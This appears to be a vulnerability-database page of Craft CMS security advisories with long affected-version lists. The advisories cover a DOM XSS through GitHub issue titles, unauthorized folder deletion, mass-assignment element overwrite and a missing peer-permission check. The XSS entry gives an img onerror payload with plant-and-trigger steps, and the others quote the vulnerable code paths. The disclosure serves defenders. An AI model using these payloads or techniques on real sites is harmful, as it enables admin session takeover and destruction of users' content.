            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50281 GHSA-x5m4-g2cq-52pq Jul 02, 2026

Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements

High

Network Low Low None

Summary

There is a mass-assignment flaw in the bulk-duplicate element action. Alice, holding only the permission to duplicate an entry she owns, submits an arbitrary id through the newAttributes request parameter. The duplication routine overrides its own id = null reset with that value and writes Alice’s attributes into Bob’s existing entry row.

Details

ElementsController::beforeAction() (src/controllers/ElementsController.php:119-124) pulls the request body into $this->_attributes and rejects requests that ship an id or canonicalId key at the top level:

$this->_attributes = $this->request->getBodyParams();

// No funny business
if (isset($this->_attributes['id']) || isset($this->_attributes['canonicalId'])) {
    throw new BadRequestHttpException('Changing an element’s ID is not allowed.');
}

The check inspects only the top-level payload. actionBulkDuplicate() (src/controllers/ElementsController.php:1708-1749) reads a separate newAttributes array and passes it straight through to the service layer:

$elementInfo = $this->request->getRequiredBodyParam('elements');
$newAttributes = $this->request->getRequiredBodyParam('newAttributes');
...
$safeNewAttributes = Collection::make($newAttributes)
    ->only($element->safeAttributes())
    ->all();
...
$newElement = $elementsService->duplicateElement(
    $element,
    $safeNewAttributes + $element::baseBulkDuplicateAttributes(),
    false,
    checkAuthorization: true,
);

Elements::duplicateElement() (src/services/Elements.php:1814-1840) clones the source element, sets id to null, and then hands the attacker's array to Craft::configure():

$mainClone = clone $element;
$mainClone->id = null;
$mainClone->uid = StringHelper::UUID();
...
Craft::configure($mainClone, ArrayHelper::merge(
    $newAttributes,
    $siteAttributes[$mainClone->siteId] ?? [],
));

Craft::configure() overwrites the reset id with any numeric value inside $newAttributes. Yii's saveElement() then performs an UPDATE against the row with that primary key instead of an INSERT. Alice's title, slug, authorId, postDate, and UID land on Bob’s entry.

safeAttributes() on Entry includes id because the base element model exposes it, so the Collection::only() filter does not strip it.

Impact

A low-privileged author overwrites any other element (entries, categories, users that share the Entry element table inheritance) by predicting or enumerating element IDs. Content integrity on the entire install breaks. The attack requires only the ability to duplicate one entry Alice already owns.

Affected versions


          5.7.0


          5.7.1


          5.7.1.1


          5.7.10


          5.7.11


          5.7.2


          5.7.3


          5.7.4


          5.7.5


          5.7.6


          5.7.7


          5.7.8

+ 52 more


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


